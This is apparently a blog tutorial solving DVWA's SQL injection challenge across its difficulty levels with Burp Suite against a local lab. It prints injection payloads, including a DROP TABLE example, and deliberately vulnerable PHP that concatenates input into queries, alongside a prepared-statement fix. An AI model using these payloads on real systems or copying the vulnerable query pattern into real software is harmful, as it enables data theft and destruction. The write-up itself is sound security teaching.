Refer to the post start DVWA with Docker to learn how to start DVWA. I will mostly use Burp Suite to solve the challenges. To configure Burp suite refer to the post configure burp suite for DVWA. Click on the SQL Injection button on the left menu to access the challenge.
We access a page allowing us to submit a user ID which is a positive integer. When we submit the ID we get the user information.
If we submit an invalid user ID, we get an empty response (nothing is displayed).
When we click Submit a GET request is sent to the server with the user ID in the parameter id
:
GET /vulnerabilities/sqli/?id=1&Submit=Submit
We can get this request in Burp Proxy > HTTP history.
A SQL injection allows an attacker to execute arbitrary SQL code with a malicous request. For instance if a request to search the database is written as :
"SELECT * FROM users WHERE username = '" + $username + "'"
Then instead of inputting its username "hackz", the attacker can use a username as :
' ; DROP table USERS ; --
Once the request is crafted on the server side, it will look like this:
SELECT * FROM users WHERE username=''; DROP TABLE users; -- '
The search will occur and then our request DROP TABLE
will follow.
To check if an application is vulnerable to SQLi, we can input a single quote '
as the parameter an see how the application behaves.
In our case the application throws an error so there is a high probability that the application is vulnerable to SQL injection.
The error message indicates that MariaDB is used. In MariaDB comments are often used with the #
character.
We try an injection with the query 1' OR 1=1 #
which should resolve the SQL command to something like SELECT * FROM users where id='1' OR 1=1 #
.
If this works, the SELECT command should select every existing user. We send our query to test it and manage to get our expected results:
We often have to try multiple injections to get one that is working. A collection of payloads to try can be found in the PayloadAllTheThings Github repository.
To automatically test all the possibilities we can setup the Burp Intruder. To configure the Burp Intruder, please refer to the post Configuring the Burp Intruder.
Here is the source code on the server :
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
The vulnerable code is the following line :
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
Since the user input is just concatenated to the command without being checked or sanitized, it allows the user to pass arbitrary commands.
A naive counter measure would be to look for special keywords such as ;
, #
, --
or '
in the user input.
In our case we are expecting a positive integer and should verify that this is what we got.
In the medium level the application is almost identical to the one in the low level except that we cannot enter the user id ourselves, we have to use a drop down list.
In Burp Suite Proxy > HTTP history we retrieve the request sent :
POST /vulnerabilities/sqli/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/vulnerabilities/sqli/
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
DNT: 1
Connection: close
Cookie: PHPSESSID=kakd53qkpnrki4bbd1t0o8j3v2; security=medium
Upgrade-Insecure-Requests: 1
id=1&Submit=Submit
We can see that it is a POST request send the user id in the parameter id
.
To exploit the vulnerability we can try to bypass the drop down list and modify the request sent directly in Burp Suite. To do so we right click on the request sent in Proxy > HTTP history and send the request to the repeater.
From there we modify the request to try some injections.
We can right click on the text area and select URL encode as you type
to let Burp handle the URL encoding for us.
After testing multiple injections, we find the following one to work as we hoped 1 OR 1 = 1#
.
The server executed our request and selected and displayed every user.
The vulnerability is the same as before, on the server side, the code concatenates the user input to the SQL command, allowing the attacker to pass arbitrary SQL code.
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
Here is the full server side code.
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
What's new is the client-side protection. It seems that the developer thought that putting a drop down list would prevent the user from passing arbitrary data. This certainly prevents the common user from doing so and is a good user experience design; however, an attacker knows how to intercept and modify requests and can bypass this kind of protection easily.
Never trust the user's input even if you have put some validation on the client side. Because the validation is on the client side, the client can easily tamper with this validation. A better approach would have been to verify on the server side that the given data is effectively an integer.
We land on a page with a link click here to change your ID. When we click the link, a pop up appears where we can submit our new ID. Here is the POST request sent to change the ID :
POST /vulnerabilities/sqli/session-input.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/vulnerabilities/sqli/session-input.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Connection: close
Cookie: PHPSESSID=4bkgc3r169bu025v0kh3iv6pe3; security=high
Upgrade-Insecure-Requests: 1
id=33&Submit=Submit
When the ID is changed the page responds with the text : "Session ID: 33".
When we enter the string 1
the ID page displays the following information :
ID: 1
First name: admin
Surname: admin
When we enter the string '
as the ID the page does not reload properly,
we get a blank page with something went wrong written.
Now from the result of the previous tests we have an intuition the application is vulnerable to SQL injection; however, we still have to find the was to exploit this SQLi.
To do so we will use Burp Suite. The difficulty here is that the request does not yield a direct response. When we look at the HTTP history in Burp suite we can see that the response to the first request sent is the following :
<body>
<div id="container">Session ID: 2
<br />
<br />
<br />
<script>window.opener.location.reload(true);</script>
<form action="#" method="POST">
<input type="text" size="15" name="id">
<input type="submit" name="Submit" value="Submit">
</form>
<hr />
<br />
<button onclick="self.close();">Close</button>
</div>
</body>
This page reloads another one with window.opener.location.reload(true);
which triggers the sending
of another request :
GET /vulnerabilities/sqli/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/security.php
DNT: 1
Connection: close
Cookie: PHPSESSID=ocm7g1qt0oenj27l7poubqroq2; security=high
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
And finally this request displays our wanted information.
We have to program Burp to automatically send the second request when the first one has been sent so that Burp can parse the information from the second request. To do so :
GET /vulnerabilities/sqli/
Because of the step 9. you should also set your target scope.
Now we can configure the Burp intruder to find our exploit. We set our position like this:
id=1'+§payload§
And we load the file sqli-error-based.txt. Then we start the attack and look for responses with a large size. We can render the html response to view at a quick glance if the injection worked or not.
In our case the injection OR 1=1--
worked properly.
The vulnerability is the same. The developer thought that because the answer is not directly given to us we cannot set up automatic ways of looking for injection.
The developer should use prepared statements to sanitize the user input before executing the SQL queries.
In the impossible level, the developper uses a prepared statement along with an anti-csrf token. Because of this, we cannot perform a SQL injection.
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>